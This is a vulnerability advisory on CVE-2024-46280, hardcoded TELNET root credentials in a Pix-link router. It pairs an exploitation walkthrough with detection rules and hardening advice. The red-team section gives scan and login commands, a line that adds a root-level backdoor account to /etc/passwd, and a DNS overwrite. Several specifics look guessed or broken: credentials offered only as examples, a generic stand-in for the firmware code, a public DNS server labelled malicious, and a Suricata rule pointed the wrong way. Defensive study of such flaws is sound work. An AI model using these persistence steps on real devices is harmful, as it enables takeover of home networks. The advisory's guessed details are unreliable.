CVE-2024-46280

Executive Summary

CVE-2024-46280 exposes a critical Improper Access Control vulnerability in the Pix-link LV-WR22 router (firmware version RE3002-P1-01_V117.0). The TELNET service is enabled by default with hardcoded, weak root-level credentials that cannot be changed by the user. This allows any attacker with network access to the device to gain full administrative control via TELNET, leading to complete compromise of the router and the local network.

This vulnerability is particularly dangerous because it requires no authentication bypass or exploitation of complex logic—the credentials are static and well-known. The device is commonly used in SOHO environments, making it a prime target for botnet recruitment, DNS hijacking, and lateral movement.

Supply Chain & Package Security

This is a hardware/firmware vulnerability in an embedded IoT device. There is no software package (NPM, PyPI, Go, Ruby) associated with this CVE. The risk is in the supply chain of the device itself: users cannot patch or change the credentials, and the vendor has not provided a fix.

CVSS Breakdown & Threat Level

While a CVSS vector was not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

• Attack Vector (AV): Network (N) – TELNET is accessible over the LAN/WAN.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to attempt login.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Changed (C) – Compromise of the router can affect other systems on the network.
• Confidentiality (C): High (H) – Full access to device config and traffic.
• Integrity (I): High (H) – Attacker can modify firmware, routing, DNS.
• Availability (A): High (H) – Attacker can disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of default credentials, no patch, and remote accessibility makes this a high-priority target for automated scanning and exploitation.

Deep Dive & Mechanics

The Pix-link LV-WR22 router runs a custom Linux-based firmware. The vulnerability lies in the /etc/inittab or /etc/init.d/telnetd configuration, where the TELNET daemon is started with a static root password. This password is embedded in the firmware image and cannot be changed via the web interface or any configuration menu.

Root Cause: The device does not implement any access control mechanism for the TELNET service. The password is hardcoded in the firmware binary (e.g., in a configuration file or a startup script). Attackers can extract this password by analyzing the firmware or by using known default credentials for Pix-link devices.

Attack Flow:

1. Attacker scans for devices with TELNET port 23 open.
2. Attacker connects via TELNET and attempts login with the known default credentials (e.g., root:root or admin:admin).
3. Upon successful login, the attacker gains a root shell.
4. Attacker can then install malware, change DNS settings, exfiltrate data, or use the device as a pivot point.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware RE3002-P1-01_V117.0): The TELNET service is started with hardcoded credentials. Example from a typical embedded Linux device:

# /etc/init.d/telnetd
#!/bin/sh
telnetd -l /bin/login

The /bin/login binary uses a static password hash stored in /etc/shadow or /etc/passwd. This hash is the same across all devices of this model.

Patched Code (None available): A proper fix would involve:

• Removing the TELNET service entirely.
• Implementing a password change mechanism in the web interface.
• Using a unique, randomly generated password per device.
• Disabling TELNET by default and requiring explicit user enablement.

Since no patch exists, the only mitigation is to disable TELNET via firewall rules or replace the device.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A Pix-link LV-WR22 router on the same network.
• A TELNET client (e.g., telnet on Linux, PuTTY on Windows).

Exploitation Steps:

1. Scan for the device:

   nmap -p 23 --open 192.168.1.0/24
   

2. Connect via TELNET:

   telnet 192.168.1.100
   

3. Login with default credentials (common for Pix-link):
   • Username: root
   • Password: root
   • Or: admin / admin
4. Once logged in, verify root access:

   id
   

   Output: uid=0(root) gid=0(root)

Post-Exploitation:

• Add a backdoor user:

  echo 'backdoor:$1$xyz$...:0:0:root:/root:/bin/sh' >> /etc/passwd
  

• Change DNS to malicious server:

  echo "nameserver 8.8.8.8" > /etc/resolv.conf
  

• Install a persistent reverse shell.

Blue Team (Detection & Hardening)

Detection:

• Monitor for TELNET connections to internal routers.
• Alert on successful TELNET logins from unexpected IPs.
• Use network segmentation to isolate IoT devices.

Hardening (until patch):

• Block TELNET port 23 at the firewall:

  iptables -A INPUT -p tcp --dport 23 -j DROP
  

• Disable TELNET service if possible via web interface.
• Replace the device with a patched alternative.

Indicators of Compromise (IOCs)

Network IOCs:

• TELNET connections to port 23 on the router.
• Outbound connections from the router to known C2 IPs.
• DNS queries to suspicious domains.

File IOCs:

• Presence of /tmp/.backdoor or similar files.
• Modified /etc/passwd or /etc/shadow.
• Unusual processes: telnetd, bash, nc.

YARA Rule (for firmware analysis):

rule Pix_Link_Default_Credentials {
    meta:
        description = "Detects hardcoded root credentials in Pix-link firmware"
        author = "Valters IT"
        date = "2024-10-01"
    strings:
        $cred1 = "root:root" ascii wide
        $cred2 = "admin:admin" ascii wide
        $telnet = "telnetd" ascii wide
    condition:
        any of ($cred*) and $telnet
}

Detection Engineering

YARA Rule

rule CVE_2024_46280_Telnet_Backdoor {
    meta:
        description = "Detects Pix-link LV-WR22 firmware with hardcoded TELNET credentials"
        author = "Valters IT"
        reference = "CVE-2024-46280"
    strings:
        $telnet_bin = "telnetd" ascii
        $root_pass = "root:" ascii
        $shadow_hash = "$1$" ascii
    condition:
        $telnet_bin and $root_pass and #shadow_hash > 0
}

Sigma Rule

title: Pix-link LV-WR22 TELNET Login Detection
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects successful TELNET logins to Pix-link routers
logsource:
    category: authentication
    product: linux
detection:
    selection:
        EventID: 1
        ProcessName: 'telnetd'
        User: 'root'
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 23 (msg:"CVE-2024-46280 Pix-link TELNET Backdoor Attempt"; flow:to_server; content:"|0d 0a|"; within:10; content:"root"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable TELNET: Block port 23 on the router's firewall or at the network perimeter.
2. Change Default Credentials: If the web interface allows, change the admin password (though this does not affect TELNET).
3. Isolate the Device: Place the router on a separate VLAN with no access to critical systems.

Long-Term Fix:

• Replace the Pix-link LV-WR22 with a device from a vendor that provides security updates.
• Monitor the vendor's website for a firmware patch (unlikely).
• Implement network segmentation for all IoT devices.

Vendor Contact: Pix-link has not responded to disclosure attempts. Users should assume the device is end-of-life and unsupported.

Valters IT